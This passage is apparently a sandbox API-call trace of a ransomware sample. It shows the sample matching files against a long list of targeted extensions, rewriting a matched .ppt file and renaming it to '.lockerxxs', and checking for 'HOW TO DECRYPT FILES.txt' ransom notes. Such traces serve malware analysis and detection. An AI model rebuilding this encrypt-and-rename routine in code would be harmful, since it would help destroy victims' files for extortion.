HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qbx") returned 0 [0089.901] lstrlenA (lpString="*.qbx") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qba") returned 0 [0089.901] lstrlenA (lpString="*.qba") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qby") returned 0 [0089.901] lstrlenA (lpString="*.qby") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qbj") returned 0 [0089.901] lstrlenA (lpString="*.qbj") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.ofx") returned 0 [0089.901] lstrlenA (lpString="*.ofx") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qif") returned 0 [0089.902] lstrlenA (lpString="*.qif") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.mye") returned 0 [0089.902] lstrlenA (lpString="*.mye") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.mbox") returned 0 [0089.902] lstrlenA (lpString="*.mbox") returned 6 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.eml") returned 0 [0089.902] lstrlenA (lpString="*.eml") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.pst") returned 0 [0089.902] lstrlenA (lpString="*.pst") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.ost") returned 0 [0089.902] lstrlenA (lpString="*.ost") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.idx") returned 0 [0089.902] lstrlenA (lpString="*.idx") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.dbx") returned 0 [0089.902] lstrlenA (lpString="*.dbx") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.sql") returned 0 [0089.902] lstrlenA (lpString="*.sql") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.mdb") returned 0 [0089.902] lstrlenA (lpString="*.mdb") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.fdb") returned 0 [0089.902] lstrlenA (lpString="*.fdb") returned 5 [0089.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.wab") returned 0 [0089.905] lstrlenA (lpString="*.wab") returned 5 [0089.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.dat") returned 0 [0089.905] lstrlenA (lpString="*.dat") returned 5 [0089.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.txt") returned 0 [0089.905] lstrlenA (lpString="*.txt") returned 5 [0089.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.jpeg") returned 0 [0089.905] lstrlenA (lpString="*.jpeg") returned 6 [0089.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.jpg") returned 0 [0089.905] lstrlenA (lpString="*.jpg") returned 5 [0089.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.png") returned 0 [0089.905] lstrlenA (lpString="*.png") returned 5 [0089.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.php") returned 0 [0089.906] lstrlenA (lpString="*.php") returned 5 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.cs") returned 0 [0089.906] lstrlenA (lpString="*.cs") returned 4 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.cpp") returned 0 [0089.906] lstrlenA (lpString="*.cpp") returned 5 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.rar") returned 0 [0089.906] lstrlenA (lpString="*.rar") returned 5 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.zip") returned 0 [0089.906] lstrlenA (lpString="*.zip") returned 5 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.html") returned 0 [0089.906] lstrlenA (lpString="*.html") returned 6 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.htm") returned 0 [0089.906] lstrlenA (lpString="*.htm") returned 5 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.xlsx") returned 0 [0089.906] lstrlenA (lpString="*.xlsx") returned 6 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.xls") returned 0 [0089.906] lstrlenA (lpString="*.xls") returned 5 [0089.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.mp4") returned 0 [0089.906] lstrlenA (lpString="*.mp4") returned 5 [0089.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.ppt") returned 1 [0089.907] lstrlenA (lpString="*.ppt") returned 5 [0089.907] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt" [0089.907] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt" [0089.907] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt." [0089.907] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt.lockerxxs" [0089.907] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\a83cciwxmwugc_ydoas.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.908] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb28 [0089.908] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x885c4260, dwHighDateTime=0x1d5e61f), lpLastAccessTime=0x407536*(dwLowDateTime=0xd947710, dwHighDateTime=0x1d5e547), lpLastWriteTime=0x40753e*(dwLowDateTime=0xd947710, dwHighDateTime=0x1d5e547)) returned 1 [0089.908] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.908] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb02, lpOverlapped=0x0) returned 1 [0089.909] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt") returned="a83cCiwxmWUgC_yDOAS.ppt" [0089.909] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.910] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb02, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb02, lpOverlapped=0x0) returned 1 [0089.910] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.910] CloseHandle (hObject=0x8c) returned 1 [0089.910] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\a83cciwxmwugc_ydoas.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\a83cciwxmwugc_ydoas.ppt.lockerxxs")) returned 1 [0089.911] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c98acb0, ftCreationTime.dwHighDateTime=0x1d5e421, ftLastAccessTime.dwLowDateTime=0x9f948600, ftLastAccessTime.dwHighDateTime=0x1d5dd54, ftLastWriteTime.dwLowDateTime=0x9f948600, ftLastWriteTime.dwHighDateTime=0x1d5dd54, nFileSizeHigh=0x0, nFileSizeLow=0x9bca, dwReserved0=0x2800032b, dwReserved1=0x4e00c4, cFileName="COBqL9w 4CZUgthS.ots", cAlternateFileName="COBQL9~1.OTS")) returned 1 [0089.911] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.911] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="COBqL9w 4CZUgthS.ots") returned 1 [0089.911] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="COBqL9w 4CZUgthS.ots") returned 1 [0089.911] lstrcmpiA (lpString1="", lpString2="COBqL9w 4CZUgthS.ots") returned -1 [0089.912] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt") returned="a83cCiwxmWUgC_yDOAS.ppt" [0089.912] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" [0089.912] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\") returned="" [0089.912] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt" [0089.912] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\how to decrypt files.txt")) returned 0x20 [0089.912] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\", lpString2="COBqL9w 4CZUgthS.ots" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots" [0089.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.ems") returned 0 [0089.912] lstrlenA (lpString="*.ems") returned 5 [0089.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.db") returned 0 [0089.912] lstrlenA (lpString="*.db") returned 4 [0089.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.dbf") returned 0 [0089.912] lstrlenA (lpString="*.dbf") returned 5 [0089.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.myox") returned 0 [0089.912] lstrlenA (lpString="*.myox") returned 6 [0089.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.myo") returned 0 [0089.912] lstrlenA (lpString="*.myo") returned 5 [0089.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qbw") returned 0 [0089.912] lstrlenA (lpString="*.qbw") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qbb") returned 0 [0089.913] lstrlenA (lpString="*.qbb") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qbm") returned 0 [0089.913] lstrlenA (lpString="*.qbm") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qbo") returned 0 [0089.913] lstrlenA (lpString="*.qbo") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qbx") returned 0 [0089.913] lstrlenA (lpString="*.qbx") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qba") returned 0 [0089.913] lstrlenA (lpString="*.qba") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qby") returned 0 [0089.913] lstrlenA (lpString="*.qby") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qbj") returned 0 [0089.913] lstrlenA (lpString="*.qbj") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.ofx") returned 0 [0089.913] lstrlenA (lpString="*.ofx") returned 5 [0089.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.qif") returned 0 [0089.913] lstrlenA (lpString="*.qif") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mye") returned 0 [0089.914] lstrlenA (lpString="*.mye") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mbox") returned 0 [0089.914] lstrlenA (lpString="*.mbox") returned 6 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.eml") returned 0 [0089.914] lstrlenA (lpString="*.eml") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.pst") returned 0 [0089.914] lstrlenA (lpString="*.pst") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.ost") returned 0 [0089.914] lstrlenA (lpString="*.ost") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.idx") returned 0 [0089.914] lstrlenA (lpString="*.idx") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.dbx") returned 0 [0089.914] lstrlenA (lpString="*.dbx") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.sql") returned 0 [0089.914] lstrlenA (lpString="*.sql") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mdb") returned 0 [0089.914] lstrlenA (lpString="*.mdb") returned 5 [0089.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.fdb") returned 0 [0089.915] lstrlenA (lpString="*.fdb") returned 5 [0089.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.wab") returned 0 [0089.915] lstrlenA (lpString="*.wab") returned 5 [0089.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.dat") returned 0 [0089.915] lstrlenA (lpString="*.dat") returned 5 [0089.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.txt") returned 0 [0089.915] lstrlenA (lpString="*.txt") returned 5 [0089.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.jpeg") returned 0 [0089.915] lstrlenA (lpString="*.jpeg") returned 6 [0089.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.jpg") returned 0 [0089.915] lstrlenA (lpString="*.jpg") returned 5 [0089.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.png") returned 0 [0089.915] lstrlenA (lpString="*.png") returned 5 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.php") returned 0 [0089.916] lstrlenA (lpString="*.php") returned 5 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.cs") returned 0 [0089.916] lstrlenA (lpString="*.cs") returned 4 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.cpp") returned 0 [0089.916] lstrlenA (lpString="*.cpp") returned 5 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.rar") returned 0 [0089.916] lstrlenA (lpString="*.rar") returned 5 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.zip") returned 0 [0089.916] lstrlenA (lpString="*.zip") returned 5 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.html") returned 0 [0089.916] lstrlenA (lpString="*.html") returned 6 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.htm") returned 0 [0089.916] lstrlenA (lpString="*.htm") returned 5 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.xlsx") returned 0 [0089.916] lstrlenA (lpString="*.xlsx") returned 6 [0089.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.xls") returned 0 [0089.916] lstrlenA (lpString="*.xls") returned 5 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mp4") returned 0 [0089.917] lstrlenA (lpString="*.mp4") returned 5 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.ppt") returned 0 [0089.917] lstrlenA (lpString="*.ppt") returned 5 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.pptx") returned 0 [0089.917] lstrlenA (lpString="*.pptx") returned 6 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.doc") returned 0 [0089.917] lstrlenA (lpString="*.doc") returned 5 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.dot") returned 0 [0089.917] lstrlenA (lpString="*.dot") returned 5 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.docx") returned 0 [0089.917] lstrlenA (lpString="*.docx") returned 6 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.7z") returned 0 [0089.917] lstrlenA (lpString="*.7z") returned 4 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.tar") returned 0 [0089.917] lstrlenA (lpString="*.tar") returned 5 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.bz2") returned 0 [0089.917] lstrlenA (lpString="*.bz2") returned 5 [0089.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 